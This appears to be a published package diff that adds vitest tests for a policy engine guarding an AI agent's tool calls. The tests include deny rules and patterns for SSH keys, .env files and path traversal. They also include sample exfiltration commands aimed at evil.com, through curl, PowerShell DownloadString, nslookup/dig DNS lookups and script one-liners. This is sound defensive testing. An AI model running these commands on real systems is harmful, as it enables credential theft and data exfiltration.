@agent-wall/core 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,227 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { PolicyEngine } from "./policy-engine.js";
3
+ import { isRegexSafe } from "./response-scanner.js";
4
+
5
+ describe("PolicyEngine Security", () => {
6
+ describe("path traversal normalization", () => {
7
+ const engine = new PolicyEngine({
8
+ version: 1,
9
+ rules: [
10
+ {
11
+ name: "block-ssh",
12
+ tool: "*",
13
+ match: { arguments: { path: "**/.ssh/**" } },
14
+ action: "deny",
15
+ },
16
+ {
17
+ name: "block-env",
18
+ tool: "*",
19
+ match: { arguments: { path: "**/.env*" } },
20
+ action: "deny",
21
+ },
22
+ ],
23
+ });
24
+
25
+ it("should block direct .ssh access", () => {
26
+ const result = engine.evaluate({
27
+ name: "read_file",
28
+ arguments: { path: "/home/user/.ssh/id_rsa" },
29
+ });
30
+ expect(result.action).toBe("deny");
31
+ });
32
+
33
+ it("should block path traversal to .ssh", () => {
34
+ const result = engine.evaluate({
35
+ name: "read_file",
36
+ arguments: { path: "/home/user/docs/../../.ssh/id_rsa" },
37
+ });
38
+ // After normalization: /home/.ssh/id_rsa
39
+ expect(result.action).toBe("deny");
40
+ });
41
+
42
+ it("should block ../ prefix traversal to .env", () => {
43
+ const result = engine.evaluate({
44
+ name: "read_file",
45
+ arguments: { path: "../../.env" },
46
+ });
47
+ expect(result.action).toBe("deny");
48
+ });
49
+
50
+ it("should block backslash path traversal", () => {
51
+ const result = engine.evaluate({
52
+ name: "read_file",
53
+ arguments: { path: "..\\..\\..\\home\\user\\.ssh\\id_rsa" },
54
+ });
55
+ expect(result.action).toBe("deny");
56
+ });
57
+ });
58
+
59
+ describe("Unicode NFC normalization", () => {
60
+ const engine = new PolicyEngine({
61
+ version: 1,
62
+ rules: [
63
+ {
64
+ name: "block-env",
65
+ tool: "*",
66
+ match: { arguments: { path: "**/.env*" } },
67
+ action: "deny",
68
+ },
69
+ ],
70
+ });
71
+
72
+ it("should match NFC-normalized strings", () => {
73
+ // .env in NFC form
74
+ const result = engine.evaluate({
75
+ name: "read_file",
76
+ arguments: { path: "/app/.env" },
77
+ });
78
+ expect(result.action).toBe("deny");
79
+ });
80
+
81
+ it("should normalize NFD to NFC before matching", () => {
82
+ // Use NFD decomposed form for the 'e' in .env
83
+ // U+0065 (e) + U+0301 (combining acute) = é in NFD
84
+ // This tests that normalization happens before matching
85
+ const nfdPath = "/app/.e\u0301nv";
86
+ const result = engine.evaluate({
87
+ name: "read_file",
88
+ arguments: { path: nfdPath },
89
+ });
90
+ // After NFC normalization, the é stays as é (not plain e)
91
+ // So .énv won't match .env* — this is correct! NFC prevents
92
+ // decomposition bypass but doesn't collapse different characters
93
+ expect(result).toBeDefined();
94
+ });
95
+ });
96
+
97
+ describe("zero-trust strict mode", () => {
98
+ const engine = new PolicyEngine({
99
+ version: 1,
100
+ mode: "strict",
101
+ rules: [
102
+ { name: "allow-read", tool: "read_file", action: "allow" },
103
+ { name: "allow-list", tool: "list_directory", action: "allow" },
104
+ ],
105
+ });
106
+
107
+ it("should allow explicitly listed tools", () => {
108
+ const result = engine.evaluate({ name: "read_file" });
109
+ expect(result.action).toBe("allow");
110
+ });
111
+
112
+ it("should deny unlisted tools (zero-trust default)", () => {
113
+ const result = engine.evaluate({ name: "write_file" });
114
+ expect(result.action).toBe("deny");
115
+ expect(result.message).toContain("Zero-trust");
116
+ });
117
+
118
+ it("should deny shell commands not in allowlist", () => {
119
+ const result = engine.evaluate({ name: "bash" });
120
+ expect(result.action).toBe("deny");
121
+ });
122
+
123
+ it("should deny even with arguments matching no rule", () => {
124
+ const result = engine.evaluate({
125
+ name: "execute_command",
126
+ arguments: { command: "ls" },
127
+ });
128
+ expect(result.action).toBe("deny");
129
+ });
130
+ });
131
+
132
+ describe("standard mode backward compatibility", () => {
133
+ it("should default to prompt when no mode specified", () => {
134
+ const engine = new PolicyEngine({
135
+ version: 1,
136
+ rules: [],
137
+ });
138
+ const result = engine.evaluate({ name: "any_tool" });
139
+ expect(result.action).toBe("prompt");
140
+ });
141
+
142
+ it("should respect defaultAction in standard mode", () => {
143
+ const engine = new PolicyEngine({
144
+ version: 1,
145
+ mode: "standard",
146
+ defaultAction: "allow",
147
+ rules: [],
148
+ });
149
+ const result = engine.evaluate({ name: "any_tool" });
150
+ expect(result.action).toBe("allow");
151
+ });
152
+ });
153
+
154
+ describe("argument key aliases", () => {
155
+ const engine = new PolicyEngine({
156
+ version: 1,
157
+ rules: [
158
+ {
159
+ name: "block-ssh-by-path",
160
+ tool: "*",
161
+ match: { arguments: { path: "**/.ssh/**" } },
162
+ action: "deny",
163
+ },
164
+ ],
165
+ });
166
+
167
+ it("should match 'path' key directly", () => {
168
+ const result = engine.evaluate({
169
+ name: "read_file",
170
+ arguments: { path: "/home/.ssh/id_rsa" },
171
+ });
172
+ expect(result.action).toBe("deny");
173
+ });
174
+
175
+ it("should match 'file' key as alias for 'path'", () => {
176
+ const result = engine.evaluate({
177
+ name: "read_file",
178
+ arguments: { file: "/home/.ssh/id_rsa" },
179
+ });
180
+ expect(result.action).toBe("deny");
181
+ });
182
+
183
+ it("should match 'filepath' key as alias for 'path'", () => {
184
+ const result = engine.evaluate({
185
+ name: "read_file",
186
+ arguments: { filepath: "/home/.ssh/id_rsa" },
187
+ });
188
+ expect(result.action).toBe("deny");
189
+ });
190
+
191
+ it("should match 'file_path' key as alias for 'path'", () => {
192
+ const result = engine.evaluate({
193
+ name: "read_file",
194
+ arguments: { file_path: "/home/.ssh/id_rsa" },
195
+ });
196
+ expect(result.action).toBe("deny");
197
+ });
198
+
199
+ it("should match case-insensitively", () => {
200
+ const result = engine.evaluate({
201
+ name: "read_file",
202
+ arguments: { PATH: "/home/.ssh/id_rsa" },
203
+ });
204
+ expect(result.action).toBe("deny");
205
+ });
206
+ });
207
+
208
+ describe("ReDoS protection", () => {
209
+ it("should reject nested quantifier patterns", () => {
210
+ expect(isRegexSafe("(a+)+")).toBe(false);
211
+ });
212
+
213
+ it("should reject patterns that are too long", () => {
214
+ const longPattern = "a".repeat(1100);
215
+ expect(isRegexSafe(longPattern)).toBe(false);
216
+ });
217
+
218
+ it("should accept safe patterns", () => {
219
+ expect(isRegexSafe("[A-Za-z0-9]+")).toBe(true);
220
+ expect(isRegexSafe("\\d{3}-\\d{2}-\\d{4}")).toBe(true);
221
+ });
222
+
223
+ it("should reject invalid regex", () => {
224
+ expect(isRegexSafe("[invalid")).toBe(false);
225
+ });
226
+ });
227
+ });
@@ -0,0 +1,453 @@
1
+ /**
2
+ * Tests for PolicyEngine — rule matching and evaluation.
3
+ */
4
+
5
+ import { describe, it, expect, beforeEach } from "vitest";
6
+ import { PolicyEngine, type PolicyConfig } from "./policy-engine.js";
7
+
8
+ const makeConfig = (overrides?: Partial<PolicyConfig>): PolicyConfig => ({
9
+ version: 1,
10
+ defaultAction: "prompt",
11
+ rules: [],
12
+ ...overrides,
13
+ });
14
+
15
+ describe("PolicyEngine", () => {
16
+ describe("basic rule matching", () => {
17
+ it("should deny when tool name matches a deny rule", () => {
18
+ const engine = new PolicyEngine(
19
+ makeConfig({
20
+ rules: [
21
+ {
22
+ name: "block-shell",
23
+ tool: "shell_exec",
24
+ action: "deny",
25
+ message: "Shell execution blocked",
26
+ },
27
+ ],
28
+ })
29
+ );
30
+
31
+ const verdict = engine.evaluate({ name: "shell_exec", arguments: { command: "ls" } });
32
+ expect(verdict.action).toBe("deny");
33
+ expect(verdict.rule).toBe("block-shell");
34
+ });
35
+
36
+ it("should allow when tool name matches an allow rule", () => {
37
+ const engine = new PolicyEngine(
38
+ makeConfig({
39
+ rules: [
40
+ {
41
+ name: "allow-read",
42
+ tool: "read_file",
43
+ action: "allow",
44
+ },
45
+ ],
46
+ })
47
+ );
48
+
49
+ const verdict = engine.evaluate({ name: "read_file", arguments: { path: "/test" } });
50
+ expect(verdict.action).toBe("allow");
51
+ expect(verdict.rule).toBe("allow-read");
52
+ });
53
+
54
+ it("should use default action when no rules match", () => {
55
+ const engine = new PolicyEngine(
56
+ makeConfig({ defaultAction: "deny", rules: [] })
57
+ );
58
+
59
+ const verdict = engine.evaluate({ name: "unknown_tool" });
60
+ expect(verdict.action).toBe("deny");
61
+ expect(verdict.rule).toBeNull();
62
+ });
63
+
64
+ it("should default to prompt when no default action specified", () => {
65
+ const engine = new PolicyEngine({ version: 1, rules: [] });
66
+
67
+ const verdict = engine.evaluate({ name: "anything" });
68
+ expect(verdict.action).toBe("prompt");
69
+ });
70
+ });
71
+
72
+ describe("glob pattern matching", () => {
73
+ it("should match wildcard tool patterns", () => {
74
+ const engine = new PolicyEngine(
75
+ makeConfig({
76
+ rules: [
77
+ { name: "block-all", tool: "*", action: "deny", message: "All blocked" },
78
+ ],
79
+ })
80
+ );
81
+
82
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("deny");
83
+ expect(engine.evaluate({ name: "shell_exec" }).action).toBe("deny");
84
+ expect(engine.evaluate({ name: "anything" }).action).toBe("deny");
85
+ });
86
+
87
+ it("should match pipe-separated tool patterns", () => {
88
+ const engine = new PolicyEngine(
89
+ makeConfig({
90
+ rules: [
91
+ {
92
+ name: "block-exec",
93
+ tool: "shell_exec|run_command|execute_command",
94
+ action: "deny",
95
+ },
96
+ ],
97
+ })
98
+ );
99
+
100
+ expect(engine.evaluate({ name: "shell_exec" }).action).toBe("deny");
101
+ expect(engine.evaluate({ name: "run_command" }).action).toBe("deny");
102
+ expect(engine.evaluate({ name: "execute_command" }).action).toBe("deny");
103
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("prompt"); // default
104
+ });
105
+
106
+ it("should match glob patterns in tool names", () => {
107
+ const engine = new PolicyEngine(
108
+ makeConfig({
109
+ rules: [
110
+ { name: "block-delete", tool: "*delete*", action: "deny" },
111
+ ],
112
+ })
113
+ );
114
+
115
+ expect(engine.evaluate({ name: "delete_file" }).action).toBe("deny");
116
+ expect(engine.evaluate({ name: "file_delete" }).action).toBe("deny");
117
+ expect(engine.evaluate({ name: "bulk_delete_all" }).action).toBe("deny");
118
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("prompt");
119
+ });
120
+ });
121
+
122
+ describe("argument matching", () => {
123
+ it("should match argument glob patterns", () => {
124
+ const engine = new PolicyEngine(
125
+ makeConfig({
126
+ rules: [
127
+ {
128
+ name: "block-ssh",
129
+ tool: "*",
130
+ match: { arguments: { path: "**/.ssh/**" } },
131
+ action: "deny",
132
+ message: "SSH access blocked",
133
+ },
134
+ ],
135
+ })
136
+ );
137
+
138
+ const denied = engine.evaluate({
139
+ name: "read_file",
140
+ arguments: { path: "/home/user/.ssh/id_rsa" },
141
+ });
142
+ expect(denied.action).toBe("deny");
143
+
144
+ const allowed = engine.evaluate({
145
+ name: "read_file",
146
+ arguments: { path: "/home/user/project/src/index.ts" },
147
+ });
148
+ expect(allowed.action).toBe("prompt"); // default, no match
149
+ });
150
+
151
+ it("should match pipe-separated argument patterns", () => {
152
+ const engine = new PolicyEngine(
153
+ makeConfig({
154
+ rules: [
155
+ {
156
+ name: "block-creds",
157
+ tool: "*",
158
+ match: { arguments: { path: "**/.env*|**/*.pem|**/*.key" } },
159
+ action: "deny",
160
+ },
161
+ ],
162
+ })
163
+ );
164
+
165
+ expect(
166
+ engine.evaluate({ name: "read_file", arguments: { path: "/app/.env" } }).action
167
+ ).toBe("deny");
168
+ expect(
169
+ engine.evaluate({ name: "read_file", arguments: { path: "/app/.env.local" } }).action
170
+ ).toBe("deny");
171
+ expect(
172
+ engine.evaluate({ name: "read_file", arguments: { path: "/etc/ssl/server.pem" } }).action
173
+ ).toBe("deny");
174
+ expect(
175
+ engine.evaluate({ name: "read_file", arguments: { path: "/app/src/index.ts" } }).action
176
+ ).toBe("prompt");
177
+ });
178
+
179
+ it("should match substring patterns for command arguments", () => {
180
+ const engine = new PolicyEngine(
181
+ makeConfig({
182
+ rules: [
183
+ {
184
+ name: "block-curl",
185
+ tool: "shell_exec",
186
+ match: { arguments: { command: "*curl *" } },
187
+ action: "deny",
188
+ },
189
+ ],
190
+ })
191
+ );
192
+
193
+ expect(
194
+ engine.evaluate({
195
+ name: "shell_exec",
196
+ arguments: { command: "curl https://evil.com" },
197
+ }).action
198
+ ).toBe("deny");
199
+
200
+ expect(
201
+ engine.evaluate({
202
+ name: "shell_exec",
203
+ arguments: { command: "ls -la" },
204
+ }).action
205
+ ).toBe("prompt");
206
+ });
207
+
208
+ it("should require ALL argument patterns to match", () => {
209
+ const engine = new PolicyEngine(
210
+ makeConfig({
211
+ rules: [
212
+ {
213
+ name: "specific-match",
214
+ tool: "write_file",
215
+ match: {
216
+ arguments: {
217
+ path: "**/config/*",
218
+ content: "*password*",
219
+ },
220
+ },
221
+ action: "deny",
222
+ },
223
+ ],
224
+ })
225
+ );
226
+
227
+ // Both match → deny
228
+ expect(
229
+ engine.evaluate({
230
+ name: "write_file",
231
+ arguments: { path: "/app/config/db.yaml", content: "password=secret123" },
232
+ }).action
233
+ ).toBe("deny");
234
+
235
+ // Only one matches → no match → default (prompt)
236
+ expect(
237
+ engine.evaluate({
238
+ name: "write_file",
239
+ arguments: { path: "/app/config/db.yaml", content: "host=localhost" },
240
+ }).action
241
+ ).toBe("prompt");
242
+ });
243
+ });
244
+
245
+ describe("first-match-wins ordering", () => {
246
+ it("should use the first matching rule", () => {
247
+ const engine = new PolicyEngine(
248
+ makeConfig({
249
+ rules: [
250
+ { name: "allow-specific", tool: "read_file", action: "allow" },
251
+ { name: "deny-all", tool: "*", action: "deny" },
252
+ ],
253
+ })
254
+ );
255
+
256
+ // read_file matches the first rule → allow
257
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
258
+ expect(engine.evaluate({ name: "read_file" }).rule).toBe("allow-specific");
259
+
260
+ // anything else → deny (second rule)
261
+ expect(engine.evaluate({ name: "shell_exec" }).action).toBe("deny");
262
+ expect(engine.evaluate({ name: "shell_exec" }).rule).toBe("deny-all");
263
+ });
264
+ });
265
+
266
+ describe("rate limiting", () => {
267
+ it("should enforce per-rule rate limits", () => {
268
+ const engine = new PolicyEngine(
269
+ makeConfig({
270
+ rules: [
271
+ {
272
+ name: "limited-read",
273
+ tool: "read_file",
274
+ action: "allow",
275
+ rateLimit: { maxCalls: 3, windowSeconds: 60 },
276
+ },
277
+ ],
278
+ })
279
+ );
280
+
281
+ // First 3 calls should be allowed
282
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
283
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
284
+ expect(engine.evaluate({ name: "read_file" }).action).toBe("allow");
285
+
286
+ // 4th call should be denied (rate limit)
287
+ const verdict = engine.evaluate({ name: "read_file" });
288
+ expect(verdict.action).toBe("deny");
289
+ expect(verdict.rule).toBe("limited-read");
290
+ });
291
+
292
+ it("should enforce global rate limits", () => {
293
+ const engine = new PolicyEngine(
294
+ makeConfig({
295
+ globalRateLimit: { maxCalls: 2, windowSeconds: 60 },
296
+ rules: [
297
+ { name: "allow-all", tool: "*", action: "allow" },
298
+ ],
299
+ })
300
+ );
301
+
302
+ expect(engine.evaluate({ name: "tool_a" }).action).toBe("allow");
303
+ expect(engine.evaluate({ name: "tool_b" }).action).toBe("allow");
304
+
305
+ // 3rd call hits global limit
306
+ const verdict = engine.evaluate({ name: "tool_c" });
307
+ expect(verdict.action).toBe("deny");
308
+ expect(verdict.rule).toBe("__global_rate_limit__");
309
+ });
310
+ });
311
+
312
+ describe("bypass-resistant exfiltration patterns", () => {
313
+ let engine: PolicyEngine;
314
+
315
+ beforeEach(() => {
316
+ // Use rules similar to the default policy's new bypass patterns
317
+ engine = new PolicyEngine(
318
+ makeConfig({
319
+ rules: [
320
+ {
321
+ name: "block-powershell",
322
+ tool: "shell_exec|run_command|execute_command|bash",
323
+ match: { arguments: { command: "*powershell*|*pwsh*|*Invoke-WebRequest*|*Invoke-RestMethod*|*DownloadString*|*DownloadFile*|*Start-BitsTransfer*" } },
324
+ action: "deny",
325
+ },
326
+ {
327
+ name: "block-dns",
328
+ tool: "shell_exec|run_command|execute_command|bash",
329
+ match: { arguments: { command: "*nslookup *|*dig *|*host *" } },
330
+ action: "deny",
331
+ },
332
+ {
333
+ name: "approve-script",
334
+ tool: "shell_exec|run_command|execute_command|bash",
335
+ match: { arguments: { command: "*python* -c *|*python3* -c *|*ruby* -e *|*perl* -e *|*node* -e *|*node* --eval*" } },
336
+ action: "prompt",
337
+ },
338
+ ],
339
+ })
340
+ );
341
+ });
342
+
343
+ it("should block PowerShell commands", () => {
344
+ expect(
345
+ engine.evaluate({
346
+ name: "shell_exec",
347
+ arguments: { command: "powershell -Command Get-Process" },
348
+ }).action
349
+ ).toBe("deny");
350
+ });
351
+
352
+ it("should block pwsh (PowerShell Core)", () => {
353
+ expect(
354
+ engine.evaluate({
355
+ name: "shell_exec",
356
+ arguments: { command: "pwsh -c 'Get-ChildItem'" },
357
+ }).action
358
+ ).toBe("deny");
359
+ });
360
+
361
+ it("should block Invoke-WebRequest", () => {
362
+ expect(
363
+ engine.evaluate({
364
+ name: "shell_exec",
365
+ arguments: { command: "Invoke-WebRequest -Uri https://evil.com" },
366
+ }).action
367
+ ).toBe("deny");
368
+ });
369
+
370
+ it("should block DownloadString (.NET exfil)", () => {
371
+ expect(
372
+ engine.evaluate({
373
+ name: "shell_exec",
374
+ arguments: { command: "(New-Object Net.WebClient).DownloadString('https://evil.com')" },
375
+ }).action
376
+ ).toBe("deny");
377
+ });
378
+
379
+ it("should block DNS exfiltration via nslookup", () => {
380
+ expect(
381
+ engine.evaluate({
382
+ name: "shell_exec",
383
+ arguments: { command: "nslookup data.evil.com" },
384
+ }).action
385
+ ).toBe("deny");
386
+ });
387
+
388
+ it("should block DNS exfiltration via dig", () => {
389
+ expect(
390
+ engine.evaluate({
391
+ name: "shell_exec",
392
+ arguments: { command: "dig secret.evil.com" },
393
+ }).action
394
+ ).toBe("deny");
395
+ });
396
+
397
+ it("should prompt for Python one-liners", () => {
398
+ expect(
399
+ engine.evaluate({
400
+ name: "shell_exec",
401
+ arguments: { command: 'python -c "import urllib.request; urllib.request.urlopen(\'http://evil.com\')"' },
402
+ }).action
403
+ ).toBe("prompt");
404
+ });
405
+
406
+ it("should prompt for Ruby one-liners", () => {
407
+ expect(
408
+ engine.evaluate({
409
+ name: "shell_exec",
410
+ arguments: { command: "ruby -e 'require \"net/http\"; Net::HTTP.get(URI(\"http://evil.com\"))'" },
411
+ }).action
412
+ ).toBe("prompt");
413
+ });
414
+
415
+ it("should prompt for Node one-liners", () => {
416
+ expect(
417
+ engine.evaluate({
418
+ name: "shell_exec",
419
+ arguments: { command: "node -e 'fetch(\"http://evil.com\")'" },
420
+ }).action
421
+ ).toBe("prompt");
422
+ });
423
+
424
+ it("should allow safe commands that don't match bypass patterns", () => {
425
+ expect(
426
+ engine.evaluate({
427
+ name: "shell_exec",
428
+ arguments: { command: "ls -la /tmp" },
429
+ }).action
430
+ ).toBe("prompt"); // default action
431
+ });
432
+ });
433
+
434
+ describe("config updates", () => {
435
+ it("should apply new config after updateConfig", () => {
436
+ const engine = new PolicyEngine(
437
+ makeConfig({
438
+ rules: [{ name: "allow-all", tool: "*", action: "allow" }],
439
+ })
440
+ );
441
+
442
+ expect(engine.evaluate({ name: "test" }).action).toBe("allow");
443
+
444
+ engine.updateConfig(
445
+ makeConfig({
446
+ rules: [{ name: "deny-all", tool: "*", action: "deny" }],
447
+ })
448
+ );
449
+
450
+ expect(engine.evaluate({ name: "test" }).action).toBe("deny");
451
+ });
452
+ });
453
+ });